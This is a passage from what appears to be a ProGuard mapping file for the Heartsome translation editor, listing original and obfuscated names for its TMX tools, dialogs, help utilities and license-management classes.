val$subMonitor -> wY + void run() -> run +net.heartsome.cat.te.ui.task.handler.ModifyLangCodeHandler -> net.heartsome.cat.te.ui.task.handler.m: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.task.handler.ModifyLangCodeHandler$1 -> net.heartsome.cat.te.ui.task.handler.n: + net.heartsome.cat.te.ui.task.handler.ModifyLangCodeHandler this$0 -> wZ + net.heartsome.cat.te.core.tmxdata.TmxLargeFileDataAccess val$access -> wN + java.util.Map val$resultMap -> xa + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.ui.task.ui.BatchJobsDialog -> net.heartsome.cat.te.ui.task.ui.a: + org.eclipse.swt.widgets.Button deleteEmptyBtn -> xb + org.eclipse.swt.widgets.Button deleteDupliteBtn -> xc + org.eclipse.swt.widgets.Button deleteSameSrcDiffTgtBtn -> xd + org.eclipse.swt.widgets.Button trimBtn -> xe + org.eclipse.swt.widgets.Button ignoreTagBtn -> xf + org.eclipse.swt.widgets.Button ignoreCaseBtn -> xg + net.heartsome.cat.te.ui.task.ui.BatchSelectionsBean jobs -> xh + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void setIgoreTagState() -> dA + net.heartsome.cat.te.ui.task.ui.BatchSelectionsBean setJobs() -> dB + void okPressed() -> okPressed + boolean close() -> close + net.heartsome.cat.te.ui.task.ui.BatchSelectionsBean getJobs() -> dC + void writeDialogSettings() -> cb + void loadDialogSettings() -> loadDialogSettings + org.eclipse.jface.dialogs.IDialogSettings getDialogSettings() -> getDialogSettings + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + void access$0(net.heartsome.cat.te.ui.task.ui.BatchJobsDialog) -> a +net.heartsome.cat.te.ui.task.ui.BatchJobsDialog$1 -> net.heartsome.cat.te.ui.task.ui.b: + net.heartsome.cat.te.ui.task.ui.BatchJobsDialog this$0 -> xi + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.task.ui.BatchJobsDialog$2 -> net.heartsome.cat.te.ui.task.ui.c: + net.heartsome.cat.te.ui.task.ui.BatchJobsDialog this$0 -> xi + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.task.ui.BatchJobsDialog$3 -> net.heartsome.cat.te.ui.task.ui.d: + net.heartsome.cat.te.ui.task.ui.BatchJobsDialog this$0 -> xi + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.task.ui.BatchSelectionsBean -> net.heartsome.cat.te.ui.task.ui.e: + boolean isIgnoreTag -> xj + boolean isDeleteEmpty -> xk + boolean isDeleteDupliacate -> xl + boolean isDeleteSameSrcDiffTgt -> xm + boolean isTrimSegment -> xn + boolean isIgnoreCase -> xo + boolean isIgnoreCase() -> isIgnoreCase + void setIgnoreCase(boolean) -> setIgnoreCase + boolean isIgnoreTag() -> isIgnoreTag + void setIgnoreTag(boolean) -> setIgnoreTag + boolean isDeleteEmpty() -> dD + void setDeleteEmpty(boolean) -> o + boolean isDeleteDupliacate() -> dE + void setDeleteDupliacate(boolean) -> p + boolean isDeleteSameSrcDiffTgt() -> dF + void setDeleteSameSrcDiffTgt(boolean) -> q + boolean isTrimSegment() -> dG + void setTrimSegment(boolean) -> r + int getDeleteTypeCount() -> dH +net.heartsome.cat.te.ui.task.ui.DeleteLangCodeDialog -> net.heartsome.cat.te.ui.task.ui.f: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String srclang -> M + java.util.List deleteLangCode -> xp + java.util.List tgtlangList -> xq + java.util.List langstore -> xr + java.util.Map langIndexMap -> xs + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + java.util.List access$0(net.heartsome.cat.te.ui.task.ui.DeleteLangCodeDialog) -> a +net.heartsome.cat.te.ui.task.ui.DeleteLangCodeDialog$1 -> net.heartsome.cat.te.ui.task.ui.g: + net.heartsome.cat.te.ui.task.ui.DeleteLangCodeDialog this$0 -> xt + org.eclipse.swt.widgets.Button val$btnTgtlang -> xu + java.lang.String val$lang -> xv + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.task.ui.ModifyLangCodeDialog -> net.heartsome.cat.te.ui.task.ui.h: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String oldSrclang -> xw + java.util.List oldTgtlangList -> xx + net.heartsome.cat.te.core.bean.TmxPropertiesBean propbean -> xy + java.util.Map resultMap -> xz + java.util.List langstore -> xr + java.util.Map langIndexMap -> xs + java.util.Map newTgtlangMap -> xA + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer tcvNew -> xB + java.util.Map imageCache -> cJ + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + boolean close() -> close + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl +net.heartsome.cat.te.ui.task.ui.ModifyLangCodeDialog$1 -> net.heartsome.cat.te.ui.task.ui.i: + net.heartsome.cat.te.ui.task.ui.ModifyLangCodeDialog this$0 -> xC + int compare(net.heartsome.cat.common.locale.Language,net.heartsome.cat.common.locale.Language) -> a + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.te.ui.tmxproperties.ShowTmxPropHandler -> net.heartsome.cat.te.ui.tmxproperties.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.tmxproperties.TmxPropertiesDialog -> net.heartsome.cat.te.ui.tmxproperties.b: + org.eclipse.swt.widgets.Text txtVersion -> xD + org.eclipse.swt.widgets.Text txtLocation -> xE + org.eclipse.swt.widgets.Text txtSize -> xF + org.eclipse.swt.widgets.Text txtCreateUser -> xG + org.eclipse.swt.widgets.Text txtCreateTime -> xH + org.eclipse.swt.widgets.Text txtCreateTool -> xI + org.eclipse.swt.widgets.Text txtCountTu -> xJ + org.eclipse.swt.widgets.Text txtSourceLang -> xK + org.eclipse.swt.widgets.Text txtTargetLang -> xL + net.heartsome.cat.te.core.bean.TmxPropertiesBean tmxPropBean -> xM + org.eclipse.swt.widgets.Text txtCreateToolVersion -> xN + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void fillInfo() -> dI +net.heartsome.cat.te.ui.tmxvalidator.TmxValidateHandler -> net.heartsome.cat.te.ui.tmxvalidator.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog -> net.heartsome.cat.te.ui.tmxvalidator.ui.a: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Text txtTmxFilePath -> xO + org.eclipse.swt.custom.StyledText styledText -> la + org.eclipse.swt.widgets.Button btnVerifyTmxFile -> xP + org.eclipse.swt.widgets.Composite createClientArea(org.eclipse.swt.widgets.Composite) -> createClientArea + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + void openFile() -> openFile + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog) -> a + org.eclipse.swt.widgets.Button access$1(net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog,int) -> a + void access$2(net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog) -> b + org.eclipse.swt.custom.StyledText access$3(net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog) -> c +net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog$1 -> net.heartsome.cat.te.ui.tmxvalidator.ui.b: + net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog this$0 -> xQ + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog$2 -> net.heartsome.cat.te.ui.tmxvalidator.ui.c: + net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog this$0 -> xQ + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog$3 -> net.heartsome.cat.te.ui.tmxvalidator.ui.d: + net.heartsome.cat.te.ui.tmxvalidator.ui.TmxValidatorDialog this$0 -> xQ + java.lang.String val$tmxFilePath -> xR + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.te.ui.tool.handler.OpenOptionDialogHandler -> net.heartsome.cat.te.ui.tool.handler.a: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.tool.handler.PairFileHandler -> net.heartsome.cat.te.ui.tool.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute +net.heartsome.cat.te.ui.tool.ui.PairFileDialog -> net.heartsome.cat.te.ui.tool.ui.a: + java.util.List langstore -> xr + net.heartsome.cat.te.core.bean.PairFileBean bean -> xS + org.eclipse.swt.widgets.Text txt1File -> xT + org.eclipse.swt.widgets.Text txt2File -> xU + org.eclipse.swt.widgets.Text txtSaveAs -> xV + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer tcv1Lang -> xW + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer tcv2Lang -> xX + boolean machineTrans -> hv + org.eclipse.swt.widgets.Button btnOpenEditor -> xY + org.eclipse.swt.graphics.Color colorlblMachine -> xZ + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + java.lang.String openFile() -> dJ + void getSaveURI() -> dK + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + boolean close() -> close + void okPressed() -> okPressed + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.te.ui.tool.ui.PairFileDialog) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.cat.te.ui.tool.ui.PairFileDialog) -> b + boolean access$2(net.heartsome.cat.te.ui.tool.ui.PairFileDialog) -> c + void access$3(net.heartsome.cat.te.ui.tool.ui.PairFileDialog,boolean) -> a +net.heartsome.cat.te.ui.tool.ui.PairFileDialog$1 -> net.heartsome.cat.te.ui.tool.ui.b: + net.heartsome.cat.te.ui.tool.ui.PairFileDialog this$0 -> ya + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.tool.ui.PairFileDialog$2 -> net.heartsome.cat.te.ui.tool.ui.c: + net.heartsome.cat.te.ui.tool.ui.PairFileDialog this$0 -> ya + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.tool.ui.PairFileDialog$3 -> net.heartsome.cat.te.ui.tool.ui.d: + net.heartsome.cat.te.ui.tool.ui.PairFileDialog this$0 -> ya + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.te.ui.tool.ui.PairFileDialog$4 -> net.heartsome.cat.te.ui.tool.ui.e: + net.heartsome.cat.te.ui.tool.ui.PairFileDialog this$0 -> ya + org.eclipse.swt.widgets.Button val$btnMachineTrans -> yb + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.help.Activator -> net.heartsome.cat.ts.help.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.help.Activator plugin -> yc + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.help.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.help.SystemResourceUtil -> net.heartsome.cat.ts.help.SystemResourceUtil: + java.lang.String dateTemp -> dateTemp + net.heartsome.license.LocalAuthorizationValidator v -> yd + int re -> ye + boolean isExsit -> yf + void beforeload() -> beforeload + void load(boolean) -> load + void load() -> load + java.lang.String[] load(org.eclipse.core.runtime.IProgressMonitor) -> load + void showDialog(java.lang.String[]) -> showDialog + net.heartsome.license.LocalAuthorizationValidator access$0() -> dL + int access$1() -> aG +net.heartsome.cat.ts.help.SystemResourceUtil$1 -> net.heartsome.cat.ts.help.SystemResourceUtil$1: + java.lang.String val$date -> yg + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$10 -> net.heartsome.cat.ts.help.SystemResourceUtil$10: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$11 -> net.heartsome.cat.ts.help.SystemResourceUtil$11: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$12 -> net.heartsome.cat.ts.help.SystemResourceUtil$12: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$13 -> net.heartsome.cat.ts.help.SystemResourceUtil$13: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14 -> net.heartsome.cat.ts.help.SystemResourceUtil$14: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$1 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$1: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$10 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$10: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + int val$re -> yi + net.heartsome.license.LocalAuthorizationValidator val$v -> yj + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$11 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$11: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$2 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$2: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + java.lang.String val$date -> yg + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$3 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$3: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$4 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$4: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + int val$ret -> yk + net.heartsome.license.LocalAuthorizationValidator val$v -> yj + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$5 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$5: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + net.heartsome.license.LocalAuthorizationValidator val$v -> yj + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$6 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$6: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + net.heartsome.license.LocalAuthorizationValidator val$v -> yj + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$7 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$7: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$8 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$8: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + int val$re -> yi + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$14$9 -> net.heartsome.cat.ts.help.SystemResourceUtil$14$9: + net.heartsome.cat.ts.help.SystemResourceUtil$14 this$1 -> yh + int val$re -> yi + net.heartsome.license.LocalAuthorizationValidator val$v -> yj + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$2 -> net.heartsome.cat.ts.help.SystemResourceUtil$2: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$3 -> net.heartsome.cat.ts.help.SystemResourceUtil$3: + java.lang.String val$date -> yg + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$4 -> net.heartsome.cat.ts.help.SystemResourceUtil$4: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$5 -> net.heartsome.cat.ts.help.SystemResourceUtil$5: + int val$ret -> yk + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$6 -> net.heartsome.cat.ts.help.SystemResourceUtil$6: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$7 -> net.heartsome.cat.ts.help.SystemResourceUtil$7: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$8 -> net.heartsome.cat.ts.help.SystemResourceUtil$8: + void run() -> run +net.heartsome.cat.ts.help.SystemResourceUtil$9 -> net.heartsome.cat.ts.help.SystemResourceUtil$9: + void run() -> run +net.heartsome.cat.ts.help.TeSystemResourceUtil -> net.heartsome.cat.ts.help.TeSystemResourceUtil: + java.lang.String dateTemp -> dateTemp + net.heartsome.license.LocalAuthorizationValidator v -> yd + int re -> ye + boolean isExsit -> yf + java.lang.String date -> yl + void beforeload() -> beforeload + void load(boolean) -> load + void load() -> load + java.lang.String[] load(org.eclipse.core.runtime.IProgressMonitor) -> load + void showDialog(java.lang.String[]) -> showDialog + boolean checkSystemResource() -> checkSystemResource + void checkResult() -> checkResult + boolean validateFile(java.io.File) -> validateFile + void access$0(int) -> f + int access$1() -> aG + void access$2(java.lang.String) -> as + java.lang.String access$3() -> dM + net.heartsome.license.LocalAuthorizationValidator access$4() -> dN +net.heartsome.cat.ts.help.TeSystemResourceUtil$1 -> net.heartsome.cat.ts.help.TeSystemResourceUtil$1: + void run() -> run +net.heartsome.cat.ts.help.TeSystemResourceUtil$2 -> net.heartsome.cat.ts.help.TeSystemResourceUtil$2: + void run() -> run +net.heartsome.license.ActiveMethodDialog -> net.heartsome.license.a: + org.eclipse.swt.graphics.Point p -> ym + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + void access$0(net.heartsome.license.ActiveMethodDialog,int) -> a +net.heartsome.license.ActiveMethodDialog$1 -> net.heartsome.license.b: + net.heartsome.license.ActiveMethodDialog this$0 -> yn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.ActiveMethodDialog$2 -> net.heartsome.license.c: + net.heartsome.license.ActiveMethodDialog this$0 -> yn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.CustomMessageDialog -> net.heartsome.license.d: + java.lang.String editionInput -> yo + java.lang.String title -> title + org.eclipse.swt.custom.StyledText text -> yp + java.util.List list -> list + org.eclipse.swt.graphics.Color red -> kV + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.widgets.Control createMessageArea(org.eclipse.swt.widgets.Composite) -> createMessageArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Image getImage() -> getImage + void addAccessibleListeners(org.eclipse.swt.widgets.Label,org.eclipse.swt.graphics.Image) -> a + java.lang.String getAccessibleMessageFor(org.eclipse.swt.graphics.Image) -> a + void setStyle() -> setStyle + java.lang.String access$0(net.heartsome.license.CustomMessageDialog) -> a + java.lang.String access$1(net.heartsome.license.CustomMessageDialog,org.eclipse.swt.graphics.Image) -> a +net.heartsome.license.CustomMessageDialog$1 -> net.heartsome.license.e: + net.heartsome.license.CustomMessageDialog this$0 -> yq + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.CustomMessageDialog$2 -> net.heartsome.license.f: + net.heartsome.license.CustomMessageDialog this$0 -> yq + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.CustomMessageDialog$3 -> net.heartsome.license.g: + net.heartsome.license.CustomMessageDialog this$0 -> yq + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.CustomMessageDialog$4 -> net.heartsome.license.h: + net.heartsome.license.CustomMessageDialog this$0 -> yq + org.eclipse.swt.graphics.Image val$image -> yr + void getName(org.eclipse.swt.accessibility.AccessibleEvent) -> getName +net.heartsome.license.GetActiveKeyDialog -> net.heartsome.license.i: + org.eclipse.swt.widgets.Text textActivekey -> ys + java.lang.String activekey -> yt + org.eclipse.swt.graphics.Point p -> ym + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + void createNavigation(org.eclipse.swt.widgets.Composite) -> t + void okPressed() -> okPressed + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + org.eclipse.swt.widgets.Text access$0(net.heartsome.license.GetActiveKeyDialog) -> a +net.heartsome.license.GetActiveKeyDialog$1 -> net.heartsome.license.j: + net.heartsome.license.GetActiveKeyDialog this$0 -> yu + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.InvalidateDialog -> net.heartsome.license.k: + int type -> type + java.lang.String utilDate -> yv + java.lang.String licenseId -> yw + org.eclipse.swt.widgets.Text text -> text + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void okPressed() -> okPressed + java.lang.String getValidateMessage() -> dO + java.lang.String getVersionContent(java.lang.String) -> at + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl +net.heartsome.license.LicenseAgreementDialog -> net.heartsome.license.l: + org.eclipse.swt.widgets.Button agreeBtn -> yx + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void okPressed() -> okPressed + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + org.eclipse.swt.widgets.Button access$0(net.heartsome.license.LicenseAgreementDialog,int) -> a + org.eclipse.swt.widgets.Button access$1(net.heartsome.license.LicenseAgreementDialog) -> a +net.heartsome.license.LicenseAgreementDialog$1 -> net.heartsome.license.m: + net.heartsome.license.LicenseAgreementDialog this$0 -> yy + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.LicenseIdValidator -> net.heartsome.license.n: + boolean isTrial -> yz + net.heartsome.license.generator.LicenseIdGenerator gen -> yA + boolean checkLicense() -> dP + boolean checkEdition() -> dx + boolean getType() -> dQ +net.heartsome.license.LicenseManageDialog -> net.heartsome.license.o: + int type -> type + java.lang.String utilDate -> yv + java.lang.String licenseId -> yw + boolean isShowBack -> yB + org.eclipse.swt.graphics.Point p -> ym + org.eclipse.swt.widgets.Text text -> text + org.eclipse.swt.widgets.Text text1 -> yC + org.eclipse.swt.widgets.Text text2 -> yD + org.eclipse.swt.widgets.Text text3 -> yE + org.eclipse.swt.widgets.Text text4 -> yF + org.eclipse.swt.widgets.Text text5 -> yG + org.eclipse.swt.widgets.Text text6 -> yH + org.eclipse.swt.widgets.Label label4 -> yI + org.eclipse.swt.widgets.ProgressBar bar -> yJ + org.eclipse.swt.graphics.Cursor cursor -> yK + org.eclipse.swt.graphics.Point getInitialLocation(org.eclipse.swt.graphics.Point) -> getInitialLocation + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createStatusComp(org.eclipse.swt.widgets.Composite) -> u + void createActiveComp(org.eclipse.swt.widgets.Composite) -> v + void createBarComp(org.eclipse.swt.widgets.Composite) -> w + void setVisible(boolean) -> setVisible + void createIdInputComp(org.eclipse.swt.widgets.Composite) -> x + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.graphics.Point getInitialSize() -> getInitialSize + void okPressed() -> okPressed + java.lang.String getLicenseId() -> dR + void main(java.lang.String[]) -> main + boolean close() -> close + java.lang.String getVersionContent(java.lang.String) -> at + java.lang.String getDisplayHelpUrl() -> getDisplayHelpUrl + void access$0(net.heartsome.license.LicenseManageDialog,int) -> a + org.eclipse.swt.widgets.Text access$1(net.heartsome.license.LicenseManageDialog) -> a + org.eclipse.swt.widgets.Text access$2(net.heartsome.license.LicenseManageDialog) -> b + org.eclipse.swt.widgets.Text access$3(net.heartsome.license.LicenseManageDialog) -> c + org.eclipse.swt.widgets.Text access$4(net.heartsome.license.LicenseManageDialog) -> d + org.eclipse.swt.widgets.Text access$5(net.heartsome.license.LicenseManageDialog) -> e + org.eclipse.swt.widgets.Text access$6(net.heartsome.license.LicenseManageDialog) -> f +net.heartsome.license.LicenseManageDialog$1 -> net.heartsome.license.p: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.LicenseManageDialog$10 -> net.heartsome.license.q: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseManageDialog$11 -> net.heartsome.license.r: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseManageDialog$2 -> net.heartsome.license.s: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.LicenseManageDialog$2$1 -> net.heartsome.license.t: + org.eclipse.swt.graphics.Image image -> image + net.heartsome.license.LicenseManageDialog$2 this$1 -> yM + java.util.List val$imageList -> wv + org.eclipse.swt.graphics.Image getImage(java.lang.Object) -> getImage +net.heartsome.license.LicenseManageDialog$3 -> net.heartsome.license.u: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.license.LicenseManageDialog$4 -> net.heartsome.license.v: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.license.LicenseManageDialog$5 -> net.heartsome.license.w: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.license.LicenseManageDialog$6 -> net.heartsome.license.x: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseManageDialog$7 -> net.heartsome.license.y: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseManageDialog$8 -> net.heartsome.license.z: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseManageDialog$9 -> net.heartsome.license.aa: + net.heartsome.license.LicenseManageDialog this$0 -> yL + void modifyText(org.eclipse.swt.events.ModifyEvent) -> modifyText +net.heartsome.license.LicenseReader -> net.heartsome.license.ab: + byte[] key -> key + byte[] getLicenseInfo(byte[]) -> a +net.heartsome.license.LinuxSeries -> net.heartsome.license.ac: + java.lang.String getSeries() -> getSeries +net.heartsome.license.LocalAuthorizationValidator -> net.heartsome.license.ad: + boolean isTrial -> yz + java.lang.String licenseId -> yw + java.lang.String macCode -> yN + byte[] b -> b + int checkLicense() -> dS + boolean isExsitMac(java.lang.String) -> au + java.lang.String[] getStrFromInfo(java.lang.String) -> av + boolean compareMacCode(java.lang.String,java.lang.String) -> l + boolean 